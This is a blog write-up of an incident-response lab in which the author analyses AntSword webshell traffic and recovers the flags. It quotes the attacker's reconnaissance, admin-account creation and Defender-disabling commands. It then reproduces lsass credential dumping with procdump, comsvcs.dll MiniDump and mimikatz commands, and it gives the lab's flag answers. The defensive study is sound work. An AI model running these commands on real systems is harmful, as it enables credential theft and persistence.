玄机蓝队靶场_应急响应_44:流量分析-蚂蚁爱上树

分析:

1,现在有一段被getshell的流量,需要找出黑客都做了些什么。流量大概可以分成两种,http和tcp。先看http。
2,发现蚁剑流量,所以先把蚁剑的执行命令先全部找出来。
蚁剑流量过滤:

##(过滤请求包)
http.request.uri matches "product2.php.*" && http.request.method == "POST"
##(过滤请求包和回包)
(http.request.method == "POST" && http.request.uri matches "product2.php.*") || http.response

分析蚁剑流量命令:(shell是取命令参数第三个字符往后的字符串解码)


1.C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql

2.C:/

3.cmd  cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&ls&echo [S]&cd&echo [E]           ls

4.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir&echo [S]&cd&echo [E]           dir

5.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&whoami&echo [S]&cd&echo [E]      whoami    返回vulntarget\win101

6.和第五个一样

7.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&systeminfo&echo [S]&cd&echo [E]    systeminfo

8.cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\&echo [S]&cd&echo [E]

(3412) cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]

(3483) cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]

(3531)  cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net group "domain group" /domain&echo [S]&cd&echo [E]

(3759)  cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net group "domain admins" /domain&echo [S]&cd&echo [E]

(3867)  cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net view&echo [S]&cd&echo [E]

(3996) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net share&echo [S]&cd&echo [E]

(4069) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

 (4250) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]

(4282) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]

(4568) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

(4969) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&ls&echo [S]&cd&echo [E]

(4979) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir&echo [S]&cd&echo [E]

(4989) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&copy store.php c:\temp&echo [S]&cd&echo [E]

(4999) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]

(5598) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]

(5622) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRealtimeMonitoring $true&echo [S]&cd&echo [E]

(5674) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Get-MpComputerStatus&echo [S]&cd&echo [E]

(5922) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

(6228) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]

(6944) C:/Temp/OnlineShopBack.zip

(14967) cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&dir c:\windows\system32&echo [S]&cd&echo [E] 

(15029) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\windows\config&echo [S]&cd&echo [E]

(15146) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]

(15190) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]

(15222) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators admin /add&echo [S]&cd&echo [E]

(15235) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]

(15248) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]

(15274) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&whoami /all&echo [S]&cd&echo [E]

3,把所有命令都找出来了,发现它添加了一个admin用户,并且把它放进了administrater中,
还执行了一些命令,需要看看到底是什么命令。命令含义问了GPT大概知道了,但是没用,每个HTTP的POST对应的回包都看了,但是没什么收获。
没啥思路了,看到有SMB2协议,可能是从里面下手。SMB2协议就不会了,只知道可以从里面拿加密信息去爆破用户密码。看WP吧。

解题:

1:flag1解出来了,在黑客执行的蚁剑命令中,cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]
flag{Password1}
2:flag2是命令cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
其中的852就是进程号,这里需要了解rundll32和miniDump函数的内存转储文件功能,就好理解了。
flag{852}
3:flag3
看了WP思路猜错了,对比原本思路,可以深入的点是,1.对执行的命令的详细分析程度还不够,如果足够详细,那么就能发现lsass进程号,2.转储文件早看到了,以为在wireshark里可以导出,但是文件名没找到我就没管它,结果发现文件名是product2.php,因为请求是http://10.0.10.99/onlineshop/product2.php,然后命令执行下载的OnlineShopBackup.zip,所以wireshark会把文件名命名为product2.php...
image

还有lsass进程是个特殊的进程,lsass是Windows系统的安全机制,我们登录系统输入的密码会保存在lsass进程内存中,它经过wdigest和tspkg两个模块,使用可逆的算法进行加密后存储在内存中。所以使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存。得到内存转储文件后,用分析爆破软件对其中的密码进行爆破,即可得到最后一个flag的答案。

rundll32.exe:用于调用和执行 DLL 文件中的函数的 Windows 系统程序。

comsvcs.dll: 是一个系统 DLL 文件,`MiniDump` 是该 DLL 提供的一个功能,用于创建系统状态的转储文件。

那么接下来就是对于转储文件的分析爆破了。

首先自己本地实现一下整个步骤:

手动DMP:
image
image

工具DMP:

procexp64:
image

procdump64:

工具地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
image

comsvcs.dll:

无论是cmd还是powershell都是要管理员权限执行判断SeDebugPrivilege特权才有回显。

image

# 查看lsass.exe 的PID号
tasklist /svc | findstr lsass.exe 
# 管理员权限
# Procdump 抓取lsass进程dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass_dump
# 通过lsass的pid抓取
procdump64.exe -accepteula -ma pid lsass_dump

# createdump.exe抓取dmp
createdump.exe -u -f lsass.dmp lsass[PID]

# comsvcs.dll获取dmp
# 需要保证当前会话已经启用SeDebugPrivilege特权
# cmd本身会禁用该特权,powershell默认开启
# 判断cmd是否开启
whoami /priv | findstr SeDebugPrivilege
# 判断powershell是否开启
powershell whoami /priv | findstr SeDebugPrivilege
rundll32.exe comsvcs.dll, MiniDump lsass[PID] lsass.dmp full

参考:

https://blog.csdn.net/qq_55202378/article/details/140419202

https://mp.weixin.qq.com/s/KgkilGEUmle5P_KvzAjDmw

https://zhuanlan.zhihu.com/p/101328722

https://blog.csdn.net/qq_37103755/article/details/127966328

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

拿到DMP后,可以看到区别:
image
image
image

因为是蚁剑流量,前后都有混淆随机字符串,都得去掉,同时解密请求包也可以发现多余的字符串:

image

更改特征一样之后用mimikatz

sekurlsa::minidump C:\\Desktop\mimikatz_trunk\Win32\test.dmp
sekurlsa::logonpasswords

image
image

这里我就不花钱了。

flag{admin#123}

收获理解:

1:原本Windows系统中保存密码相关的文件是SAM文件,静态的,SYSTEM文件中含有加密密钥对SAM整体进行了加密,且整体加密下,还有SYSkey模块对密码哈希进行了额外加密,整体对密码哈希进行了两层加密。所以如果离线导出SAM文件进行破解获取NTLM,那么SYSTEM也需要导出。如果在线读取SAM中的密码哈希,那么需要mimikatz提升权限到system,然后用syskey进行解密获取即可。如果有内存转储文件,因为内存中的肯定是明文,所以mimikatz直接读取dmp即可。

另外询问AI后得知,Windows8.1版本之后不使用syskey加密了,不知道真假。

2:这段流量中黑客进行的操作就是上传shell后,内存转储lsass进程,然后下载流量,mimikatz进行用户的NTLM获取,最后去破解对应的NTLM即可拿到用户的密码。

posted @ 2024-09-05 10:04  蓝尽红出  阅读(59)  评论(0编辑  收藏  举报